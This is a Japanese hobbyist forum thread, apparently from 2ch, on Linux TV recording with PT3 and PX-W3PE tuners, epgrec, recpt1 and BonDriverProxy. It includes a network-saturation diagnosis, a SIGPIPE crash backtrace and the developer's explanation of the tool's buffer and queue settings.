まさかレコーダーを買えないからやってるの? レコーダーごときを?
金の話ならレコーダ買う方がよっぽど安上がりだろ
>>463 じ、じつはそうなんです、、、Orz=3ブッ
>>457 プレクのドライバはubuntuはダメだったはず
今まで報告されてる使ってみた事例は全部CentOSだと思う
>>456 細かいことだけど、EIT見るのにはスクランブル解除は要らんのでは?
>>463 買ったレコーダーがたまに録画失敗するクソだったんで信用しないことにしました
放送時間延長とかイベントリレーは対応めんどくさそうだよね まず最低限、epgrecとかの録画管理ツールからrecpt1とかの実際の録画ツールに録画設定の変更を伝える しくみが必要で(recpt1に関しては、recpt1ctlが使えるからここはクリアしてるけど)、 その上で録画管理ツールが延長やイベントリレーの監視と、それらに該当すると判断した場合には、 それを録画ツールに指示するなり新たな録画予約を追加するなりする必要がある さらに、他の録画予約が入っててチューナーに空きが無い場合はどうするかとかの設定ができる必要もあるだろうし、 録画ツール側はともかく、録画管理ツール側でやらなきゃダメな事がかなり多い 正直epgrecいじって対応しようとするくらいなら、EpgTimerSrv移植とかした方が早いかも
>>470 epgrecUNAは録画中でもEPGが更新されれば時間を延長してくれる
まあ中の人にスポーツにたいする愛が無いようなので完全自動ではないし他Chの予約と重複するとやめちゃうみたいだけどw
>>471 見てみた
イベントリレーはまあ置いておくとして、なるほど、延長する可能性のある番組の後番組の頭だけ予約を入れておいて
EPGの更新を確認する、か
少し面倒ではあるけど、全く対応してないのと比べたら全然マシだね
そこが自動化されたらだいぶ使い勝手良くなりそうだけど、対象の番組を録画してるのとは違うチューナーを使って
EPGの更新確認する関係上、難しいかなぁ
録画ツールを改造して、指定録画時間の最後数分になったらEPG更新用に録画とは別ファイルにも出力とかすれば行けそう?
チューナー共有されてる状態なら、普通に番組録画してるチューナーを共有して使えば良いから話は簡単なんだけど・・・
つーかrecpt1をbondriver使えるように改造すればいいのか?
すみません。 epgrecUNAのログって、リセットすることはできないでしょうか。 誤ってすごくありふれたキーワードを自動録画ワードにしてしまったので、削除したのですが、大量に予約追加と削除のログが残ってしまいました。 ログを開くたびに、数秒くらい待たされてしまうので、なんとかまっさらにしたいのですが。
>>472 ソースは非公開でCentOS用のバイナリだけしか公開しないんなら、
Linux用じゃなくてCentOS用ってちゃんと書けよって思うよね
modinfoではライセンスGPLって表示されるくせにソースは公開してくれないみたいだし、
会社としていろいろと雑な印象
> modinfoではライセンスGPLって表示されるくせにソースは公開してくれない 雑って言うかそれライセンス違反じゃん
ソースの請求先がわかりにくくちっさく書いてて 請求しても音沙汰なしっていうケースはよく聞く
>>470 放送が後ろにずれる場合であれば、
録画用のプロセス(recpt1とか)の起動にスクリプトか何かかませて、
EIT見て適当に眠ってくれるコマンド呼んだ後に録画開始するようにすれば、
ってのはだめ?
チューナの管理はまた別に考えないといけないかもしれないけど。
>>479 単に後ろにずれるだけならそれで良いと思う
確かepgrecUNA版がやってるのもそれだったんじゃないかね
お手軽インターフェイスのパッケージをお願いします
チューナーの空きを意識しつつEPGを更新して録画をやってくれるプログラムがあるといいわけかw。
>>441 下のような構成でPX-W3PEを試してみました。
動作しますね。
・サーバー
CentOS 6.5 64bit (2.6.32-431.20.3.el6.x86_64)
PX-W3PE V1.2 (PX-W3PE_LinuxDriver_ver.1.0.0.zip 64bit asv5220_dtv.ko)
BonDriverProxy + BonDriver_ProxyPT.so (develop branch)
・クライアント
Windows8.1
TVTest + BonDriver_Proxy.dll
ただ、1チューナーに2接続以上すると不安定になる感じです。
TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
しばらくするとBonDriverProxyが終了してます。
接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?
素人質問で申し訳ないですけど、 このスレでいうLinuxというのは、CentOSと思っていいのですか? 他のデストリビューションでは動きませんか?
がんばれば動くと思うけど。
W3PEの場合、CentOSのが動作報告多いってだけ(というか
>>472 辺りの話?)でね?
Chinachuは一応推奨がUbuntuだったりするし。
>>478 遅ればせながらありがとう。
でも、その他にもいろいろうまく行かないところとかあって、結局DB作成しなおしてしまいました。
みんなはログ膨れ上がったらmysql操作して消してるの?
>>485 レスどうもです
しかしLinuxはよく分からんなぁ
動いたり動かなかったりラジバンダリ
>>483 おお、ありがとうございます
3wpeの初期化は、一応はうまく行ってると言う事でしょうか…
> ただ、1チューナーに2接続以上すると不安定になる感じです。
> TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
> しばらくするとBonDriverProxyが終了してます。
> 接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?
ありゃ
ウチでUbuntu 14.04 + PT3使って動かしてる分には、キューサイズ等は全部デフォルトのままで1チューナへの
複数接続(チューナ共有)の場合も含めて特に問題なく動いてるので、plexチューナ特有の何かでしょうか…?
ただ、大量の"Packet Queue OVERFLOW"はおそらくサーバからクライアントへのTSストリームを、クライアントが
読み出さない状態が続いた結果だと思うので、その辺を考えると、ネットワーク絡みの何かにも見えますね
#プロセスが終了するのはちとわかりませんが、上記の件の絡みで最終的にメモリ確保に失敗して…とかの線でしょうか
一応の確認ですが、1チューナに2接続以上と言うのは、CentOS上の同じBonDriver_ProxyPT.soをリクエストする
TVTest + BonDriver_Proxy.dllを複数起動したと言う事ですよね?
>>483 あ、それから、もしWindowsでもチューナとそれにアクセスするBonDriverが使用できる状態であれば、良ければ以下を
試してみていただけないでしょうか?
1. WindowsとLinuxでそれぞれBonDriverProxy(サーバプロセス)を動かす
2. Windows上のTVTest + BonDriver_Proxy.dllからLinux側のサーバプロセスに対してBonDriver_Proxy.soをリクエスト
3. Linux上のBonDriver_Proxy.soはWindows側のサーバプロセスに対してチューナにアクセスするBonDriverをリクエスト
つまり、Windowsから一旦Linuxを経由して結局Windowsのチューナを使用しているだけですが、意図としては、
これが問題なく動くかどうかである程度の問題の切り分けができそうかな、と言うものです
#これに関しては、当方ではHyper-V上のCentOS 6.5で特に問題なく動作する事を確認しています
>>485 epgrecUNA版もdebian系向けだった気がする
>>488 >>483 で1チューナーに2接続上と書いたのは、書いたときには正確な個数が
よくわからなかったからでして、動作確認として、TVTestを1個起動し、S0,S1,
T0,T1とBonDriver(チューナー)を切り替えて表示させると特に問題なく表示して
くれたので、嬉しくなってTVTestを1個、2個…と追加で起動していくうちに起こっ
たので何個からか良くわからなかったのです。まあ、最低2接続以上だろうという
ことで書いたのですが…。
(1)ノートPCで無線LAN(
>>483 の場合)
クライアントはノートPCで無線LANを挟んでいます。
クライアント : ノートPC (Windows + TVTest + BonDriver_Proxy_W3PE_S0.dll)
--- 無線LAN --- ルーター --- 有線LAN ---
サーバー : デスクトップPC (CentOS + BonDriverProxy + BonDriver_LinuxPT_W3PE_S0.so + PX-W3PE)
【ネットワーク絡みの何か】というのであれば見るからに無線LANが飽和しそう
です。それなら、転送量の多いBSをどんどん起動していけばそのうち起きそうです。
実際にやってみた所、BS4個目からTVTestの表示が壊れ始め、Packet Queue OVERFLOWの
メッセージが表示されました。推察どおりネットワークの問題で同一チューナー2接続
以上とか関係なかったです。
(2)デスクトップPCで有線LAN
だったらということで、クライアントをデスクトップPCにしCPUパワーをあげて
かつ有線LANでネットワークを安定させてみたところTVTestを7個程度起動して
もきちんと表示してくれました。ですので、間違いなくネットワークの問題で
PX-W3PEは関係ないです。さらに追加でPT3をサーバーに差して確認してみま
したが同じ結果でした。
>>488 (3)BonDriverProxyプロセスの終了
再度確認したのですが、Packet Queue OVERFLOWのメッセージが
表示された後しばらくするとBonDriverProxyが終了するのではなく、
連続してTVTestを起動すると、最後に起動したTVTestがハングアップ
状態になります。そうするとメッセージが表示されます。ハングアップ
状態のTVTestを除いて、動作していそうなTVTestのうちどれか1個を
終了させると、同時にBonDriverProxyのプロセスが終了するという
挙動でした。
-g オプション付加して再コンパイル gdb上で実行、上の手順でプロ
セスが終了した際の出力です。
Program received signal SIGPIPE, Broken pipe.
[Switching to Thread 0x7fffd35fe700 (LWP 31499)]
0x000000315d00ecdc in send () from /lib64/libpthread.so.0
(gdb) backtrace
#0 0x000000315d00ecdc in send () from /lib64/libpthread.so.0
#1 0x0000000000401db5 in cProxyServer::Sender (pv=0x607b70) at BonDriverProxy.cpp:632
#2 0x000000315d0079d1 in start_thread () from /lib64/libpthread.so.0
#3 0x000000315cce8b5d in clone () from /lib64/libc.so.6
こんな感じの挙動かなあと思ったりはしたのですが。
http://d.hatena.ne.jp/y-hamigaki/20070709#1183982184 >>489 は後日確認してみます。
>>491-492 詳しい確認ありがとうございます
どうやらネットワーク側の問題だったと言うところまで確認できたのなら
>>489 はもう必要なさそうです
w3pe対応に関しては大丈夫そうとの事で、developからmasterにマージしようかと思います
ネットワーク容量に関しては、BonDriverProxyの場合、デフォルトではTSストリームを定常送信している時
188*1024バイト(TSパケットのバッファサイズ)毎に16バイトのオーバヘッドが付く様になっています
なので、トラフィックの殆どがTSストリーム自身の物なのですが、それでもBSでは1TSストリームで24Mbpsとかになるので、
多数のストリームを送信すると無線では厳しくなってしまいますね
サーバプロセスが死ぬ件は、そのログから確かにSIGPIPEを無視してないからのようです
#元々Windows版からの移植なので対応忘れてました(;´Д`)
今グローバルなロック掛けてる処理をBonDriverのインスタンス毎に分ける形に変更してるところなので、
それと一緒に対応する事にしますね
Windows⇔Unix移植でシグナル関係はマジで鬼門…
px-q3pe / CentOS 6.5 で 安定動作中。素晴らしいな。
>>441 plex.cpp (´▽`)アリガト!
PX-W3PEをwindowsで使っています Windowsだと内臓ブースターの感度調整ができますが、foltia anime lockerでもできますか?
debian系で動かぬとは…
>>499 TSPACKET_BUFSIZEはTSストリームをTSキューに放り込む際の一単位のサイズです
TSストリームをデバイスから読み出して、そのサイズまでバッファリングしてから一つのTSデータ用パケットとして
クライアントモジュールに送信します
PACKET_FIFO_SIZEは上記のTSデータ用パケットを含めた通信プロトコルのコマンドパケットのキューサイズです
#普通の使い方をする限り、定常送信中は全部がTSデータ用パケットになるでしょう
TS_FIFO_SIZEは、クライアントモジュールはTSデータ用パケットを受け取ったらTSキューに放り込んでいきますが、
それがアプリケーションに読み出されるまでの間保持しておくためのキューのサイズです
TSPACKET_BUFSIZE * TS_FIFO_SIZEがクライアント側モジュールでTSデータ用に保持される最大バッファサイズです
>>500 の続きです
例えばネットワーク速度が安定せず、速くなったり遅くなったりするならPACKET_FIFO_SIZEを大きくするとドロップ
しなくなるかもしれません
しかし、絶対的に速度が足りていない場合は、大きくしてもキューサイズを超えるまでの時間が少し延びるだけでしょう
TS_FIFO_SIZEに関しても同じで、アプリケーション側の読み出し方次第です
新規データはサーバ側でどんどんデバイスから読み出され、クライアントモジュールに送られてTSキューに積まれて
いきますが、そのデータをアプリケーションが読み出さない場合、どこかでデータを捨てないとメモリを無尽蔵に
消費する事になるので、そのリミットとしてのTS_FIFO_SIZEです
sample.cppでやってるように、GetTsStream()で読み出したのをそのままファイルに書き出しするような場合は、
余程書き出し先デバイスが遅くない限りは問題にはならないハズです
しかし、読み出した後に同スレッドで何らかの時間の掛かる処理を行っていて、次の読出しまでにTSキューに新規データが
常に複数積まれていく様な状況だと、その内TSキューのサイズはリミットに達してしまうでしょう
この場合、とりあえずデータは読み込んでおいて時間の掛かる処理は別スレッドで、と言うのが王道かと思います
例えば、B-CASカードでのECM処理はかなり遅い部類の処理なので、TS読み出しスレッドとデスクランブルスレッドは
分ける、などのパターンですね
#libarib25を使用する場合は、確か内部に専用バッファを持っていたと思うので、面倒な事は考えなくても大丈夫かも
#しれません…が、未確認です
更に続きです と言う訳で、PACKET_FIFO_SIZEもTS_FIFO_SIZEも、平均的には新規データの供給よりも速いペースでデータを捌けるけれど、 何回かに一回は時間が掛かる事があってその時にドロップしてしまう、と言う様な状況でいじると効果があるかもしれない 項目だと思っていただければ大体間違いないかと思います 捌く速度が新規データ供給よりも平均的に遅い場合には、これらのサイズを大きくしても多分時間稼ぎにしかなりません TSPACKET_BUFSIZEに関しては、大きくしていくと、チャンネル変更の際などにそのサイズ分のバッファが溜まるまで サーバからデータが来ないので、レスポンスが悪くなっていくでしょう 逆に小さくしていくと、レスポンスは良くなるかわりに各種オーバヘッドが大きくなっていくので、小さくしすぎは 意味が無いでしょう 大体こんな感じでわかるでしょうか…? 長文失礼しました
>>503 はい、ウチのテスト環境(Hyper-V上のCentOS6.5、Core i7 3630QMから仮想プロセッサ2つ割り当て、
HDDは容量可変VHDX形式)では、sample+BonDriver_Proxy(キューサイズ等の設定はデフォルト)によって
LAN(1000BASE-T)経由で他のマシンに刺さってるPT2を使って録画、と言うのが特に問題無く出来ています
topで眺めてる限り、上記環境+設定ではsample実行中のCPU負荷も殆ど上昇しない感じです
#これに関しては、想定使用環境を録画用サーバとすると、上記テスト環境は若干CPU性能が高い気はするので、
#参考程度の情報として下さい
>>504 ご親切な対応、本当にありがとうございました。
親切を敬語にすると煽られてる気分になるのはなぜだろう
unknownさん、 Pull RequestsとIssues見てくれるとうれしい。
>>507 今更ながら確認しました、ありがとうございます
GitHubの使い方良くわかってないのでなんとなくでやってみましたが、あんな感じで良いんでしょうか…